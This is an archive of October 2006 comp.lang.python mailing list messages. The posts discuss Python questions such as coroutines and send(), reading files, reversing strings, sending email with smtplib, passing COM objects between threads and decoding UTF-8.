>> Dustan wrote: >> > I'm hiding some of the details here, because I don't want to >> > say what I'm actually doing. >> > [...] >> >> I have the answer to your problem but I don't actually want to >> tell you what it is. > > That's great, seeing as I already figured out the answer, as I > have already posted in a reply. I had a good laugh at it. > Are you saying I broke one of these rules? > http://www.catb.org/~esr/faqs/smart-questions.html > Or are you just being plain rude? > A lack of a response from you implies the latter... SPOILER SPACE It was a joke, based on you hiding what you are doing, he decided to hide the solution to your problem. Get it? -- Neil Cerutti From http Mon Oct 16 16:30:46 2006 From: http (Paul Rubin) Date: 16 Oct 2006 13:30:46 -0700 Subject: Need a strange sort method... References: <1161022388.133766.221150@m7g2000cwm.googlegroups.com> <8c7f10c60610161130i4d520b49xd6fc5a8450d579f4@mail.gmail.com> <1161028595.918128.198190@h48g2000cwc.googlegroups.com> <1161028913.598854.111950@b28g2000cwb.googlegroups.com> Message-ID: <7xhcy40zrd.fsf@ruckus.brouhaha.com> "SpreadTooThin" writes: > > I have one extra 10 that I shouldn't... > > I think my loop termination is incorrect... It looks wrong to me; try your loop on range(20) and see what happens. > maybe I should just stop when my new series size is the same size as > the original? You should make exactly 3 passes. You might also want to use list.extend rather than adding lists. Finally, your function modifies its input list (by sorting it), which generally is not nice unless the caller expects it and wants it. You can save the caller some trouble by making a sorted copy to work from. From nospam at jollans.com Mon Oct 2 16:27:39 2006 From: nospam at jollans.com (Thomas Jollans) Date: Mon, 2 Oct 2006 22:27:39 +0200 Subject: moving limewire music to my itunes library References: <1159820467.904936.300170@i42g2000cwa.googlegroups.com> Message-ID: On Mon, 02 Oct 2006 13:21:07 -0700, jenann50 at hotmail.com let this slip: > hi all, i know this is probably a silly question but i dont know how to > move my limewire tunes to my itunes folder so that i can download them > onto my ipod. also if i have a music cd and load it into media windows > player, how do i also get that music into my itunes library > ta all > jen What does this have to do with python ? -- Thomas Jollans alias free-zombie From johnjsal at NOSPAMgmail.com Wed Oct 25 15:34:48 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Wed, 25 Oct 2006 19:34:48 GMT Subject: with statements and exceptions Message-ID: I'm thinking about using a with statement for opening a file, instead of the usual try/except block, but I don't understand where you handle an exception if the file doesn't open. For example: with open('myfile', 'r'): BLOCK I assume that BLOCK can/will contain all the other stuff you want to do, which may involve try/except blocks, but what if the initial open() call fails (for lack of file, etc.)? Is this the purpose of the with statement, to handle this itself? Is there still some way that I can respond to this and show the user an error message? Thanks. From steve at holdenweb.com Tue Oct 24 07:29:36 2006 From: steve at holdenweb.com (Steve Holden) Date: Tue, 24 Oct 2006 12:29:36 +0100 Subject: can't open word document after string replacements In-Reply-To: <30f41$453de7c9$544abf75$16552@news.hispeed.ch> References: <5e2e9$453dbff7$544abf75$9155@news.hispeed.ch> <453dd1b8$0$15214$426a74cc@news.free.fr> <30f41$453de7c9$544abf75$16552@news.hispeed.ch> Message-ID: Antoine De Groote wrote: > Bruno Desthuilliers wrote: > >>Antoine De Groote wrote: >> >>>Hi there, >>> >>>I have a word document containing pictures and text. This documents >>>holds several 'ABCDEF' strings which serve as a placeholder for names. >>>Now I want to replace these occurences with names in a list (members). >> >>Do you know that MS Word already provides this kind of features ? > > > > No, I don't. Sounds interesting... What is this feature called? > Mail-merge, I believe. However, if your document can be adequately represented in RTF (rich-text format) then you could consider doing string replacements on that. I invoice the PyCon sponsors using this rather inelegant technique. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From exarkun at divmod.com Sun Oct 8 15:50:36 2006 From: exarkun at divmod.com (Jean-Paul Calderone) Date: Sun, 8 Oct 2006 15:50:36 -0400 Subject: PEP 342 misunderstanding In-Reply-To: <1160335982.242058.59780@k70g2000cwa.googlegroups.com> Message-ID: <20061008195036.1717.290119821.divmod.quotient.71109@ohm> On 8 Oct 2006 12:33:02 -0700, metamoof at gmail.com wrote: >So I've been reading up on all the new stuff in PEP 342, and trying to >understand its potential. So I'm starting with a few simple examples to >see if they work as expected, and find they dont. > >I'm basically trying to do the following: > >for x in range(10): > print x*2 > >but coroutine-style. > >My initial try was: > >>>> def printrange(): >... for x in range(10): >... x = yield x >... print x >... >>>> g = printrange() >>>> for x in g: >... g.send(x*2) >... Try this instead: >>> x = None >>> while 1: ... if x is None: ... send = None ... else: ... send = x * 2 ... try: ... x = g.send(send) ... except StopIteration: ... break ... 0 2 4 6 8 10 12 14 16 18 > >Now, I was expecting that to be 0, 2, 4, 6, 8, 10, 12, 14, 16, 18, 20. > >What am I missing here? Your code was calling next and send, when it should have only been calling send. Jean-Paul From esj at harvee.org Tue Oct 3 10:08:16 2006 From: esj at harvee.org (Eric S. Johansson) Date: Tue, 03 Oct 2006 10:08:16 -0400 Subject: CGI -> mod_python In-Reply-To: References: <1159852046.487836.266980@m7g2000cwm.googlegroups.com> Message-ID: Thomas Jollans wrote: > Not that I know of, but thanks to the WSGI (specified in PEP 333: > http://www.python.org/dev/peps/pep-0333/) you should be able to convert > your app to WSGI, which will run on mod_python, relatively easily > (depending on your code; 'print' won't work anymore) I assume this is the library one could use if you were running on Python 2.3 or 2.4 http://cheeseshop.python.org/pypi/wsgiref --- eric From steve at holdenweb.com Wed Oct 25 22:23:11 2006 From: steve at holdenweb.com (Steve Holden) Date: Thu, 26 Oct 2006 03:23:11 +0100 Subject: question about True values In-Reply-To: <7.0.1.0.0.20061025224858.05f2ea40@yahoo.com.ar> References: <17727.47016.632530.720950@montanaro.dyndns.org> <7.0.1.0.0.20061025224858.05f2ea40@yahoo.com.ar> Message-ID: Gabriel Genellina wrote: > At Wednesday 25/10/2006 22:29, Terry Reedy wrote: > >> >> the string class's "nil" value. Each of the builtin types has such an >> >> "empty" or "nil" value: >> >> >> >> string "" >> >> list [] >> >> tuple () >> >> dict {} >> >> int 0 >> >> float 0.0 >> >> complex 0j >> >> set set() >> >> >> >> Any other value besides the above will compare as "not false". >> >> >> > >> > And today's question for the novices is: which Python type did Skip >> miss >> > from the above list? >> >> more that one: >> >> 0L >> decimal.Decimal(0) # is decimal.Decimal('0'), also >> u'' >> array.array('c') # or any other typecode, I suspect, without initializer > > > Just for fun: > buffer('') > frozenset() > iter(()) > xrange(0) > There's still a very obvious omission ... regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From mahs at telcopartners.com Fri Oct 20 02:26:14 2006 From: mahs at telcopartners.com (Michael Spencer) Date: Thu, 19 Oct 2006 23:26:14 -0700 Subject: ANN compiler2 : Produce bytecode from Python 2.5 Abstract Syntax Trees Message-ID: Announcing: compiler2 --------------------- For all you bytecode enthusiasts: 'compiler2' is an alternative to the standard library 'compiler' package, with several advantages. Improved pure-python compiler - Produces identical bytecode* to the built-in compile function for all /Lib and Lib/test modules, including 'peephole' optimizations - Works with 2.5's 'factory-installed' ASTs, rather than 2.4's 'after-market' version - Is significantly faster * Except for the pesky stack-depth calculation Possible applications - Understanding/documenting/verifying the compilation process - Implementing experimental compilation features (compile-time constants, function in-lining anyone?) - Whatever the old compiler package is used for ;-) Getting started --------------- Point your svn client to: http://svn.brownspencer.com/pycompiler/branches/new_ast/ Check out to a compiler2 directory on PYTHONPATH Test with python test/test_compiler.py Cheers Michael From skip at pobox.com Mon Oct 23 14:53:08 2006 From: skip at pobox.com (skip at pobox.com) Date: Mon, 23 Oct 2006 13:53:08 -0500 Subject: Looking for a Python-on-Windows person to help with SpamBayes In-Reply-To: <1161626143.199801.306150@m73g2000cwd.googlegroups.com> References: <1161626143.199801.306150@m73g2000cwd.googlegroups.com> Message-ID: <17725.3988.135062.717262@montanaro.dyndns.org> olsongt> Does ocrad require the cygwin environment to run? No. It was compiled so it didn't require the cygwin runtime environment. I presume it was statically linked. Skip From fredrik at pythonware.com Tue Oct 10 12:33:02 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 10 Oct 2006 18:33:02 +0200 Subject: Can't get around "IndexError: list index out of range" In-Reply-To: References: <1160269607.522241.311160@m73g2000cwd.googlegroups.com><1160332330.684420.276560@e3g2000cwe.googlegroups.com><1160335473.625244.261640@m7g2000cwm.googlegroups.com><1160345922.051578.146630@i3g2000cwc.googlegroups.com> <1160455280.118212.202770@b28g2000cwb.googlegroups.com> Message-ID: Terry Reedy wrote: > Is there an outer loop being 'break'ed? yes. > This break is swallowed by the for loop, so not exactly equivalent, I > think. the code is supposed to break out of the outer loop when it runs out of lines, so yes, monkeeboy's code is broken in more than one way. > In any case, these are both clumsy and I believe I would instead > write something like > > for i in range(lineno, len(self.__lines)): > print self.__lines[i] that doesn't do the same thing, either. and you both seem to be missing that try: for loop over something: do something with something except IndexError: ... is a common pydiom when you expect to process quite a few somethings, and you don't want to waste time on calculating end conditions up front or checking for end conditions inside the loop or otherwise looking before you leap (LBYL); the pydiom lets you process things as quickly as you possibly can, as long as you possibly can, and deal with the end of the sequence when you hit it (EAFP*). *) insert martelli essay here From cameron.walsh at gmail.com Thu Oct 26 23:52:27 2006 From: cameron.walsh at gmail.com (Cameron Walsh) Date: Fri, 27 Oct 2006 11:52:27 +0800 Subject: Insert Content of a File into a Variable In-Reply-To: References: Message-ID: Wijaya Edward wrote: > Hi, > > How can we slurp all content of a single file > into one variable? > > I tried this: > >>>> myfile_content = open('somefile.txt') >>>> print myfile_content, > > > > But it doesn't print the content of the file. >>> help(open) Help on built-in function open in module __builtin__: open(...) open(name[, mode[, buffering]]) -> file object Open a file using the file() type, returns a file object. >>> help(file) Help on class file in module __builtin__: class file(object) | file(name[, mode[, buffering]]) -> file object |read(...) | read([size]) -> read at most size bytes, returned as a string. | | If the size argument is negative or omitted, read until EOF is | reached. | Notice that when in non-blocking mode, less data than what was | requested | may be returned, even if no size parameter was given. |readlines(...) | readlines([size]) -> list of strings, each a line from the file. | | Call readline() repeatedly and return a list of the lines so read. | The optional size argument, if given, is an approximate bound on the | total number of bytes in the lines returned. Those sound useful... Or alternatively: >>> my_file = open('somefile.txt') >>> print myfile_content, >>> #Hmmm, that's not what I wanted, what can I do with this? >>> dir(my_file) ['__class__', '__delattr__', '__doc__', '__enter__', '__exit__', '__getattribute__', '__hash__', '__init__', '__iter__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__str__', 'close', 'closed', 'encoding', 'fileno', 'flush', 'isatty', 'mode', 'name', 'newlines', 'next', 'read', 'readinto', 'readline', 'readlines', 'seek', 'softspace', 'tell', 'truncate', 'write', 'writelines', 'xreadlines'] >>> #That read attribute looks interesting... >>> my_file.read >>> my_file.read() Ye gads! I wish I'd chosen a shorter file! Or used a variable to put it in! >>> text = my_file.read() >>> print text Ye gads! I wish I'd chosen a shorter file! You might also try: >>> lines = my_file.readlines() >>> for line in lines: >>> print line Hope it helps, Cameron. From deets at nospam.web.de Fri Oct 20 10:12:19 2006 From: deets at nospam.web.de (Diez B. Roggisch) Date: Fri, 20 Oct 2006 16:12:19 +0200 Subject: Can I use decorators to manipulate return type or create methods? In-Reply-To: <1161351924.477097.257490@k70g2000cwa.googlegroups.com> References: <1161265429.237110.43380@m73g2000cwd.googlegroups.com> <4ppla2Fit83qU1@uni-berlin.de> <1161298362.722062.265520@i3g2000cwc.googlegroups.com> <1161313194.211420.236840@b28g2000cwb.googlegroups.com> <4prgkiFjj80iU1@uni-berlin.de> <1161351924.477097.257490@k70g2000cwa.googlegroups.com> Message-ID: <4ps3q0FjsdicU1@uni-berlin.de> WakeBdr schrieb: > OK, I think I'm close now. I just can't get past this one error. Here > is my code, followed by the output produced when I run it. Stupid mistake of me - I didn't properly create a closure for the functions to set. See the corrected version in the attachment. Diez -------------- next part -------------- A non-text attachment was scrubbed... Name: test2.py Type: application/x-python Size: 1566 bytes Desc: not available URL: From rupole at hotmail.com Fri Oct 13 01:37:34 2006 From: rupole at hotmail.com (Roger Upole) Date: Fri, 13 Oct 2006 01:37:34 -0400 Subject: COM and Threads References: <1160703286.841671.109210@b28g2000cwb.googlegroups.com> <1160712022_1597@sp6iad.superfeed.net> <1160713687.665650.221900@b28g2000cwb.googlegroups.com> Message-ID: <1160718073_1665@sp6iad.superfeed.net> "Teja" wrote: > > Roger Upole wrote: > >> "Teja" wrote: >> >I have an application which uses COM 's Dispatch to create a COM based >> > object. Now I need to upgrade the application to a threaded one. But >> > its giving an error that COM and threads wont go together. Specifically >> > its an attribute error at the point where COM object is invoked. Any >> > pointers please?????? >> > >> >> An actual traceback would help. >> At a guess, when using COM in a thread >> you need to call pythoncom.CoInitialize and >> CoUninitialize yourself. >> >> Roger > > Actually Roger, this is the scenario.... > > I create a COM object at the beginnning of the main thread. In the sub > thread, I need to access the same instance of the COM object. If it > were a normal object ie. not a COM obj, i was able to do it. But if it > were a COM object, its giving an attribute error? Should I pass a COM > object to the thread. If so How? Please let me know ASAP... Thnks > To pass COM objects between threads, usually they'll need to be marshaled using pythoncom.CoMarshalInterThreadInterfaceInStream, and unmarshaled with pythoncom.CoGetInterfaceAndReleaseStream. Roger From Leo.Kislov at gmail.com Mon Oct 16 03:45:19 2006 From: Leo.Kislov at gmail.com (Leo Kislov) Date: 16 Oct 2006 00:45:19 -0700 Subject: How to send E-mail without an external SMTP server ? In-Reply-To: References: <1160981517.845397.173540@h48g2000cwc.googlegroups.com> Message-ID: <1160984719.088664.76350@e3g2000cwe.googlegroups.com> On Oct 16, 12:31 am, "fdu.xia... at gmail.com" wrote: > Rob Wolfe wrote: > > fdu.xia... at gmail.com wrote: > > >> Hi, > > >> I just want to send a very simple email from within python. > > >> I think the standard module of smtpd in python can do this, but I > >> haven't found documents about how to use it after googleing. Are there > >> any examples of using smtpd ? I'm not an expert,so I need some examples > >> to learn how to use it. > > > See standard documentation: > > >http://docs.python.org/lib/SMTP-example.html > > > HTH, > > RobI have read the example and copied the code and save as send.py, then I > run it. Here is the output: > $ python send.py > From: fdu.xia... at gmail.com > To: fdu.xia... at gmail.com > Enter message, end with ^D (Unix) or ^Z (Windows): > just a test from localhost > Message length is 82 > send: 'ehlo [202.127.19.74]\r\n' > reply: '250-WebMail\r\n' > reply: '250 AUTH plain\r\n' > reply: retcode (250); Msg: WebMail > AUTH plain > send: 'mail FROM:\r\n' > reply: '502 negative vibes\r\n' > reply: retcode (502); Msg: negative vibes > send: 'rset\r\n' > reply: '502 negative vibes\r\n' > reply: retcode (502); Msg: negative vibes > Traceback (most recent call last): > File "send.py", line 26, in ? > server.sendmail(fromaddr, toaddrs, msg) > File "/usr/lib/python2.4/smtplib.py", line 680, in sendmail > raise SMTPSenderRefused(code, resp, from_addr) > smtplib.SMTPSenderRefused: (502, 'negative vibes', 'fdu.xia... at gmail.com') > > Do I have to setup a smtp server on my localhost ? You need to use login method . And by the way, the subject of your message is very confusing, you are posting log where you're sending email using external server. From onurb at xiludom.gro Tue Oct 24 04:18:48 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Tue, 24 Oct 2006 10:18:48 +0200 Subject: http call. In-Reply-To: <1161673574.597088.135220@h48g2000cwc.googlegroups.com> References: <1161673574.597088.135220@h48g2000cwc.googlegroups.com> Message-ID: <453dcc69$0$20628$426a74cc@news.free.fr> Kirt wrote: > Hi! > > I have a php program (test.php) on a server. eg: > http://abc.xyz.com/test.php > > I need my python scripts to make a http call to these program pass some > data and get back a secret key from the php program.. > > Could anyone help me this, what will i need to make a http call to the > php application? > The fact that it's a PHP (or Java or Python or .NET or whatever) application is totally orthogonal as long as you're using HTTP. And you may want to have a look at the urllib and urllib2 modules in the standard lib. -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From lm401 at cam.ac.uk Wed Oct 11 05:22:55 2006 From: lm401 at cam.ac.uk (LorcanM) Date: 11 Oct 2006 02:22:55 -0700 Subject: Can pdb be set to break on warnings? Message-ID: <1160558575.381070.200570@b28g2000cwb.googlegroups.com> Hello, I use pdb under Linux to debug my Python code, as in: python -m pdb myprogram.py By default it does a postmortem of unhandled exceptions, is there a way to get it to break on warnings? Thanks a lot, Lorcan. From ldo at geek-central.gen.new_zealand Sun Oct 8 00:03:06 2006 From: ldo at geek-central.gen.new_zealand (Lawrence D'Oliveiro) Date: Sun, 08 Oct 2006 17:03:06 +1300 Subject: error handling in user input: is this natural or just laborious References: <1160165545.417968.276460@b28g2000cwb.googlegroups.com> Message-ID: In message <1160165545.417968.276460 at b28g2000cwb.googlegroups.com>, sam wrote: > i'm still in the early stages, and am trying to code something simple > and interactive to get the percentages of the portfolio in the five > different investment categories. i thought i'd get in with the error > handling early so if someone types in something wrong (like a word), or > the numbers don't add up to 100%, the error would be caught immediately > and the user sent back to the start of the loop. granting that there > may be better ways of doing this, if i decide that i do want to do it > like this (i.e. a single error requires all data to be re-entered, not > unreasonable for only five items) ... One obvious thing is to remove repetitiveness from the code by collecting the different cases in a data table. E.g. data = {} input_control = \ [ { "key" : "cash", "description" : "cash percentage", "type" : int, "describe_type" : "number", }, { "key" : "bond", "description" : "bond portfolio", "type" : int, "describe_type" : "number", }, { "key" : "blue", "description" : "blue-chip percentage", "type" : int, "describe_type" : "number", }, { "key" : "tech", "description" : "tech stocks percentage", "type" : int, "describe_type" : "number", }, { "key" : "dev", "description" : "developing countries percentage", "type" : int, "describe_type" : "number", }, ] while True : index = 0 while index != len(input_control) : control = input_control[index] try : data[control["key"]] = \ control["type"](raw_input( "Please enter a %s index for the portfolio: " % control["description"] )) index += 1 except ValueError : print "That is not a %s." % control["describe_type"] #end try #end while if sum([data[k] for k in data]) == 100 : break print "Those numbers do not sum to 100. Please start again." #end while From rtilley at vt.edu Thu Oct 19 12:46:50 2006 From: rtilley at vt.edu (Brad) Date: Thu, 19 Oct 2006 12:46:50 -0400 Subject: invert or reverse a string... warning this is a rant In-Reply-To: References: Message-ID: Fredrik Lundh wrote: > rick wrote: > >> The Ruby approach makes sense to me as a human being. > > do the humans on your planet spend a lot of time reversing strings? it's > definitely not a very common thing to do over here. On our planet, we're all dyslexic. We tend to do things 'backwards' so being able to easily invert what we do helps the people we show the code to on your planet make sense of it. > > anyway, if you do this a lot, why not define a helper function? > > def reverse(s): > return s[::-1] > > print reverse("redael ruoy ot em ekat") Thanks, that's what I ended up doing. From fredrik at pythonware.com Sun Oct 22 10:55:11 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sun, 22 Oct 2006 16:55:11 +0200 Subject: How to print a file in binary mode In-Reply-To: <1161524030.833422.216370@k70g2000cwa.googlegroups.com> References: <1161519385.614985.311240@m73g2000cwd.googlegroups.com> <1161524030.833422.216370@k70g2000cwa.googlegroups.com> Message-ID: Lucas wrote: > I do it because I want to encrypt a string into a picture using RSA > algorithm. what does "into" mean? are you supposed to encrypt the binary data representing the JPEG image, or embed a message into the actual image? > so I first convert the string to binary,and then saving the binary > into picture you seem to have a rather fuzzy understanding of the words "string" and "binary" here. if you read from a file that's opened in binary mode, you get an 8-bit string that contains the binary data. there's no need for any conversion here; just use the data you got from "read". > finally, print the picture by binary! do you mean "save the picture to a binary file", or something else? From rpdooling at gmail.com Mon Oct 30 20:25:23 2006 From: rpdooling at gmail.com (BartlebyScrivener) Date: 30 Oct 2006 17:25:23 -0800 Subject: Python windows interactive. References: <1162241672.682830.189240@b28g2000cwb.googlegroups.com> <45467205.3000302@websafe.com> <1162253732.035128.91060@e3g2000cwe.googlegroups.com> Message-ID: <1162257923.231719.189290@m73g2000cwd.googlegroups.com> Try this, assuming you're in IDLE. http://hkn.eecs.berkeley.edu/~dyoo/python/idle_intro/index.html You can enter as many lines as you want in the interpreter. Then press ENTER twice to get the result. Or try here if you're looking for some tutorials. http://tinyurl.com/w7wgp rd From gherron at islandtraining.com Mon Oct 30 12:37:54 2006 From: gherron at islandtraining.com (Gary Herron) Date: Mon, 30 Oct 2006 09:37:54 -0800 Subject: How to convert " " in a string to blank space? In-Reply-To: <1162229197.315384.79940@f16g2000cwb.googlegroups.com> References: <1162229197.315384.79940@f16g2000cwb.googlegroups.com> Message-ID: <45463872.7040306@islandtraining.com> ??? wrote: > Is there any simple way to solve this problem? > > Yes, strings have a replace method: >>> s = "abc def" >>> s.replace(' ',' ') 'abc def' Also various modules that are meant to deal with web and xml and such have functions to do such operations. Gary Herron From miguel at ximian.com Tue Oct 3 08:52:23 2006 From: miguel at ximian.com (Miguel de Icaza) Date: Tue, 03 Oct 2006 08:52:23 -0400 Subject: [IronPython] [ANN] IronPython Community Edition 1.0r2 In-Reply-To: <5b0248170609290452i7f86dfe7na49cebb55da85eba@mail.gmail.com> References: <5b0248170609290452i7f86dfe7na49cebb55da85eba@mail.gmail.com> Message-ID: <1159879943.5008.68.camel@erandi.dom> Hello, > And here's the license and the summary of applied patches: > http://fepy.sourceforge.net/license.html > http://fepy.sourceforge.net/patches.html Do the patches include the various extensions that are being shipped? Am wondering if you could distribute a IPCE that contains all the documentation and sources, because it might be good for us to switch to it from standard IronPython for our distribution purposes. From NoelByron at gmx.net Thu Oct 19 05:56:20 2006 From: NoelByron at gmx.net (NoelByron at gmx.net) Date: 19 Oct 2006 02:56:20 -0700 Subject: UTF-8 to unicode or latin-1 (and yes, I read the FAQ) References: <1161249411.230825.139160@m7g2000cwm.googlegroups.com> Message-ID: <1161251780.255815.245730@i3g2000cwc.googlegroups.com> > > > > 'K\xc3\xb6ni'.decode('utf-8') # 'K\xc3\xb6ni' should be 'K?nig', > > "K?ni", to be precise. ?h, yes. ;o) > > contains a german 'umlaut' > > > > but failed since python assumes every string to decode to be ASCII? > > that should work, and it sure works for me: > > >>> s = 'K\xc3\xb6ni'.decode('utf-8') > >>> s > u'K\xf6ni' > >>> print s > K?ni > > what did you do, and how did it fail? First, thank you so much for answering so fast. I proposed python for a project and it would be very embarrassing for me if I would fail converting a UTF-8 string to latin-1. I realized that my problem ist not the decode to UTF-8. The exception is raised by print if I try to print the unicode string. UnicodeEncodeError: 'ascii' codec can't encode character u'\xf6' in position 1: ordinal not in range(128) But that is not a problem at all since I can now turn my UTF-8 strings to unicode! Once again the problem was sitting right in front of my screen. Silly me... ;o) Again, thank you for your reply! Best regards, Noel From fredrik at pythonware.com Sat Oct 14 15:03:19 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sat, 14 Oct 2006 21:03:19 +0200 Subject: Starting out. In-Reply-To: <1160847793.990888.95790@m7g2000cwm.googlegroups.com> References: <1160696277.628987.277700@i42g2000cwa.googlegroups.com> <1160784543.238714.132310@k70g2000cwa.googlegroups.com> <1160847793.990888.95790@m7g2000cwm.googlegroups.com> Message-ID: mensanator at aol.com wrote: > (according to the Urban Dictionary). talk about reliable sources... From no-spam at no-spam-no-spam.com Sat Oct 14 08:47:45 2006 From: no-spam at no-spam-no-spam.com (robert) Date: Sat, 14 Oct 2006 14:47:45 +0200 Subject: wxPython installation interferes with win32ui/win32gui In-Reply-To: References: Message-ID: Gabriel Genellina wrote: > At Friday 13/10/2006 19:33, robert wrote: > >> > c:\Python23\pythonw.exe.manifest >> > c:\Python23python.exe.manifest >> > >> >> I found out that in fact when I move away these 2 files to a backup >> location after a wx installation, things go well again. >> >> What at all do this .manifest files do ? >> And why do win32ui apps freak out, when these are present? >> Have post the content of pythonw.exe.manifest below. >> Are wx apps affected in a bad way, if I remove those files for ever? > > This manifest file tells Windows how to apply visual styles to the > application. It's a nightmare to make it work reliably across Windows > versions. Just delete the .manifeest file and forget about it... Thanks, in fact in the wx Installer there is also an option to suppress the installation of this files - but the name of this checkbox sounds so harmless, that I'd never expect it to have such serious consequences. Why is this checkbox ON in the installer by default when it is not necessary for successful use of wx? And I'd still like to understand the reason why win32ui apps at all can do such strange things like magic automatic pressing of buttons, when this .manifest is active. (This caused some serious trouble here the first time, because this win32 tool did some real business transactions as OK-buttons were pressed automatically repeatedly until I could shutdown the app in the taskmanager..) -robert From bignose+hates-spam at benfinney.id.au Thu Oct 19 19:14:29 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Fri, 20 Oct 2006 09:14:29 +1000 Subject: How to use python in TestMaker References: <1161225253.111034.4730@f16g2000cwb.googlegroups.com> <1161257895.508598.260290@m7g2000cwm.googlegroups.com> Message-ID: <87u01zyk2y.fsf@benfinney.id.au> "kelin,zzf818 at gmail.com" writes: > I just can't find a good tool to do Unit Test with Python. Could you > please tell me any? Python comes with batteries included. -- \ "Two rules to success in life: 1. Don't tell people everything | `\ you know." -- Sassan Tat | _o__) | Ben Finney From richardjones at optushome.com.au Wed Oct 4 04:10:11 2006 From: richardjones at optushome.com.au (Richard Jones) Date: Wed, 04 Oct 2006 18:10:11 +1000 Subject: Roundup Issue Tracker release 1.1.3 References: <1159947253.283452.178580@b28g2000cwb.googlegroups.com> Message-ID: <45236c63$0$22358$afc38c87@news.optusnet.com.au> metaperl.etc at gmail.com wrote: > Richard Jones wrote: >> I'm proud to release version 1.1.3 of Roundup. >> five database back-ends (anydbm, sqlite, metakit, >> mysql and postgresql). > > That ORM is pretty impressive: > http://roundup.sourceforge.net/doc-1.0/design.html#roundup-database > [snip] > Is it possible to have a table with a multi-column primary key? No, it's not designed for that level of complexity. Richard From bearophileHUGS at lycos.com Wed Oct 18 16:53:07 2006 From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com) Date: 18 Oct 2006 13:53:07 -0700 Subject: Flexable Collating (feedback please) In-Reply-To: <35kZg.6681$fl.2685@dukeread08> References: <35kZg.6681$fl.2685@dukeread08> Message-ID: <1161204787.209795.315900@i42g2000cwa.googlegroups.com> This part of code uses integer "constants" to be or-ed (or added): CAPS_FIRST = 1 NUMERICAL = 2 HYPHEN_AS_SPACE = 4 UNDERSCORE_AS_SPACE = 8 IGNORE_LEADING_WS = 16 COMMA_IN_NUMERALS = 32 ... def __init__(self, flag): self.flag = flag def transform(self, s): """ Transform a string for collating. """ if self.flag & CAPS_FIRST: s = s.swapcase() if self.flag & HYPHEN_AS_SPACE: s = s.replace('-', ' ') if self.flag & UNDERSCORE_AS_SPACE: s = s.replace('_', ' ') if self.flag & IGNORE_LEADING_WS: s = s.strip() if self.flag & NUMERICAL: if self.flag & COMMA_IN_NUMERALS: This is used in C, but maybe for Python other solutions may be better. I can see some different (untested) solutions: 1) def selfassign(self, locals): # Code from web.py, modified. for key, value in locals.iteritems(): if key != 'self': setattr(self, key, value) def __init__(self, caps_first=False, hyphen_as_space=False, underscore_as_space=False, ignore_leading_ws=False, numerical=False, comma_in_numerals=False): selfassign(self, locals()) def transform(self, s): if self.caps_first: ... Disadvangages: if a flag is added/modified, the code has to be modified in two places. 2) def __init__(self, **kwds): self.lflags = [k for k,v in kwds.items() if v] def transform(self, s): if "caps_first" in self.lflags: ... This class can be created with 1 instead of Trues, to shorten the code. Disadvantages: the user of this class has to read from the class doctring or from from the docs the list of possible flags (and such docs can be out of sync from the code). 3) Tkinter (Tcl) shows that sometimes strings are better than int constants (like using "left" instead of tkinter.LEFT, etc), so this is another possibile solution: def __init__(self, flags=""): self.lflags = flags.lower().split() def transform(self, s): if "caps_first" in self.lflags: ... An example of calling this class: ... = Collate("caps_first hyphen_as_space numerical") I like this third (nonstandard) solution enough. Bye, bearophile From edreamleo at charter.net Sun Oct 15 17:09:48 2006 From: edreamleo at charter.net (Edward K. Ream) Date: Sun, 15 Oct 2006 16:09:48 -0500 Subject: Tkinter: populating Mac Help menu? References: <6nMWg.64$ra5.26@newsfe05.lga> Message-ID: > hm = Menu(mb, name='help') Yes, that worked. Many thanks for your help with Help. Edward -------------------------------------------------------------------- Edward K. Ream email: edreamleo at charter.net Leo: http://webpages.charter.net/edreamleo/front.html -------------------------------------------------------------------- From python.list at tim.thechases.com Sat Oct 14 09:20:32 2006 From: python.list at tim.thechases.com (Tim Chase) Date: Sat, 14 Oct 2006 08:20:32 -0500 Subject: Reverse string-formatting (maybe?) In-Reply-To: <1160829302.661810.123440@k70g2000cwa.googlegroups.com> References: <1160829302.661810.123440@k70g2000cwa.googlegroups.com> Message-ID: <4530E420.2040502@tim.thechases.com> >>>> template = 'I am %s, and he %s last %s.' >>>> values = ('coding', "coded', 'week') >>>> formatted = template % values >>>> formatted > 'I am coding, and he coded last week.' >>>> deformat(formatted, template) > ('coding', 'coded', 'week') > > expanded (for better visual): >>>> deformat('I am coding, and he coded last week.', 'I am %s, and he %s last %s.') > ('coding', 'coded', 'week') > > It would return a tuple of strings, since it has no way of telling what > the original type of each item was. > > Any input? I've looked through the documentation of the string module > and re module, did a search of the documentation and a search of this > group, and come up empty-handed. Yes, in the trivial case you provide, it can be done fairly easily using the re module: >>> import re >>> template = 'I am %s, and he %s last %s.' >>> values = ('coding', 'coded', 'week') >>> formatted = template % values >>> unformat_re = re.escape(template).replace('%s', '(.*)') >>> # unformat_re = unformat_re.replace('%i', '([0-9]+)') >>> r = re.compile(unformat_re) >>> r.match(formatted).groups() ('coding', 'coded', 'week') Thing's get crazier when you have things like >>> answer ='format values into a string' >>> template = 'The formatting string %%s is used to %s' % answer or >>> template = 'The value is %0*.*f' >>> values = (10, 4, 3.14159) >>> formatted = template % values >>> formated 'The value is 00003.1415' or >>> template = 'Dear %(name)s, Thank you for the %(gift)s. It was very %(adj).' % {'name': 'Grandma', 'gift': 'sweater', 'adj': 'nice'} Additionally, things go a little tangled when the replacement values duplicate matters in the template. Should the unformatting of "I am tired, and he didn't last last All Saint's Day" be parsed as ('tired', "didn't last", "All Saint's Day") or ('tired', "didn't", "last All Saint's Day"). The /intent/ is likely the former, but getting a computer to understand intent is a non-trivial task ;) Just a few early-morning thoughts... -tkc From martin at v.loewis.de Sat Oct 21 12:06:18 2006 From: martin at v.loewis.de 